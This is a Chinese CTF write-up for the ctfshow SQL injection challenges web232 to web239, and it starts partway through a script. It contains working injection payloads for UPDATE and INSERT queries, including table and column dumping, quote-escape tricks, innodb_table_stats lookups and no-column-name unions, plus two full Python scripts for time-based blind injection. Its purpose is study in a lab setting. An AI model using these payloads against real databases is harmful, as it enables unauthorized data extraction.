print(flag) if j == "}": print('[*] flag is {}'.format(flag)) exit() break
web232
password的位置 加上了md5 没有影响 直接使用括号闭合
这里说一下 注意两点 api后面必须要加?page=1&limit=10 不加不好使 可能服务器需要判断这两个参数 如果不存在可能就不会向下执行语句了 第二点 /api/?和/api?是有区别的 使用/api? 无法执行payload不知道什么原因 估计是啥api是一个目录 你对目录传参肯定不行 而/api/?是给目录下的文件传参
查看当前数据库数据表
有两点注意 database() 后不用加分号,也就是句中句不需要分号 第二点 注意要使用group_concat 或者limit
password=1'),username=(select group_concat(table_name) from information_schema.tables where table_schema=database()) where 1=1#&username=
查看flagaa表的列名
password=1'),username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flagaa') where 1=1#&username=
查看列值
password=1'),username=(select flagass from flagaa) where 1=1#&username=
盲注脚本和web231一样 改改即可 md5的位置 以及数据库名 表名字段名
web233
连md5都没了 和web231一样呢
测试一波
正常情况下是可以的 也返回更新成功
password=0&username=user1
而password=0',username=1 where 1=1#&username=
返回查询失败
说的没有过滤那是不可能的 反正肯定有限制条件不能这么做
于是使用盲注的方式是可以做的
import requests url = "http://c7b6d0e5-03cf-467d-b332-a9941fe654ac.challenge.ctf.show/api/" table_name = 'flag233333' flag = 'flagass233' result = '' # 数据库名 payload = "database()" #ctfshow_web # 爆表名 #payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"#flag233333 # 爆列名 #payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='{table_name}'"#flagass233 # 爆字段值 payload = f"select {flag} from {table_name}" for i in range(1, 50): head = 32 tail = 127 while head < tail: # sleep(1) mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半 #print(mid) data = { 'username': f"ctfshow' and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#", 'password': 0 } try: r = requests.post(url, data, timeout=2.5) tail = mid except: head = mid + 1 # sleep导致超时 if head != 32: result += chr(head) print(result) else: break
web234
和上一题一样呀
说是没过滤 其实还是有过滤的 说是过滤单引号 既然单引号被过滤了 不能用单引号了 那就是用\来转义原语句中的单引号
原语句为
update ctfshow_user set pass = '{$password}' where username = '{$username}';
如果传参为password=1\&username=,username=(select database())#
语句则变为了
update ctfshow_user set pass = '1\' where username = ',username=(select database())#';
在#前加入分号和不加一个意思 上面已经说了 在语句的最后面 没有分号也是可以的
查看当前数据库数据表
password=4\&username=,username=(select group_concat(table_name) from information_schema.tables where table_schema=database());#
这里还要说一下 如果不适用group_concat 虽然语句被成功执行了 但是因为有多条输出 导致 语句执行成功 但是并未写入数据库中
查看flag23a表的列有哪些 单引号被过滤了 使用单引号则无法成功执行语句 使用双引号即可
password=4\&username=,username=(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag23a");#
查看列flagass23s3的值
password=4\&username=,username=(select flagass23s3 from flag23a);#
最后本来想着查看一下banlist里面到底过滤了什么 字段是id和char id字段都查到 而char无论如何都查不到 可能禁止查看吧
真的大佬云集 就是一顿脚本 有时间学学
# @Author:Kradress import requests url = "http://9298293f-de8c-414f-beaf-5ef7041922f2.challenge.ctf.show/api/" table_name = 'flag23a' flag = 'flagass23s3' result = '' def strToHex(S : str): parts = [] for s in S: parts.append(str(hex(ord(s)))[2:]) return '0x' + ''.join(parts) # 数据库名 # payload = "database()" # 爆表名 # payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()" # 爆列名 # payload = f"select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name={strToHex(table_name)}" #爆字段值 payload = f"select {flag} from {table_name}" for i in range(1,50): head = 32 tail = 127 while head < tail: #sleep(1) mid = (head + tail) >> 1 # 中间指针等于头尾指针相加的一半 print(mid) data = { 'username' : f" where username = 0x63746673686f77 and if(ascii(substr(({payload}),{i},1))>{mid},sleep(3),1)#", 'password' : "\\" } try: r = requests.post(url, data, timeout=2.5) tail = mid except: head = mid + 1 #sleep导致超时 if head != 32: result += chr(head) print(result) else: break
web235-web236
mysql统计信息
无列名注入
web235
过滤了or和单引号 or的话 information就不能用了
mysql默认存储引擎innoDB携带的表:
mysql.innodb_table_stats
mysql.innodb_index_stats两表均有database_name和table_name字段
可以使用innodb_table_stats 代替 information_schema
简单理解innodb_table_stats 是一个表使用时为mysql.innodb_table_stats 通过指定数据库名database_name 就能查询出该数据库中的表有哪些了
依旧使用上一题的方法
password=4\&username=,username=(select group_concat(table_name) from mysql.innodb_table_stats);#
banlist,ctfshow_user,flag23a1
现在是表名可以查询到 但是 这个innoDB引擎中是不存在的字段名的
所以要使用无列名注入
这里其实使用join最好 今天学到现在脑子有点蒙 没学明白 有时间看看
我使用的是联合查询的方式 进行无列名注入
password=2\&username=,username=(select group_concat(`2`) from(select 1,2,3 union select * from flag23a1)a)#
web236
说是过滤flag 但其实过滤的是回显中的flag 而不是输入中的
使用上一题方法即可flaga为表名
password=2\&username=,username=(select group_concat(`2`) from(select 1,2,3 union select * from flaga)a)#
开始INSERT
web237
最基础的insert
以post形式进行的提交
原语句为
insert into ctfshow_user(username,pass) value('{$username}','{$password}');
构造payload
username=1',(select 3))#&password=
就变成了
insert into ctfshow_user(username,pass) value('1',(select 3));#','{$password}');
测试一下 发现可以
查看当前数据表有哪些
username=1',(select group_concat(table_name) from information_schema.tables where table_schema=database()))#&password=
查看表内列名
username=1',(select group_concat(column_name) from information_schema.columns where table_name='flag'))#&password=
查值
username=1',(select flagass23s3 from flag 标记))#&password=
标记的位置不能写分号 语句中的语句无需写分号 语句的末尾写不写都可以
web238
过滤空格 本来想着使用%09 但是不行 不知道啥原因
括号代替空格
查表
username=1',(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())))#&password=
查字段
username=1',(select(group_concat(column_name))from(information_schema.columns)where(table_name='flagb')))#&password=
查值
username=1',(select(flag)from(flagb)))#&password=
看看能不能看看banlist 还是只能查看id 不能查看char字段
web239
又有or 不能使用information了 那就使用自带的
username=1',database())#&password=
username=1',(select(group_concat(table_name))from(mysql.innodb_table_stats)where(database_name='ctfshow_web')))#&password=
使用联合查询方式 无列名注入 但是弄半天过滤空格 导致这个括号巨难搭配
就算搭配后 我看其他人说 还过滤了* 于是都说无能为力 就说之前都是列名为flag
username=1',(select`flag`from`flagbb`))#&password=
反引号在mysql代表的是列名表名数据库名
借鉴
ctfshow web入门 sql注入(超详解)201-250_ctfshow web201-CSDN博客
CTFshow-WEB入门-SQL注入(下)_//sql db.ctfshow_user.find({username:'$username',p-CSDN博客
【ctfshow】web篇-SQL注入 wp_ctfshow web417-CSDN博客
CTFshow sql注入 上篇(web221-253)_web242-CSDN博客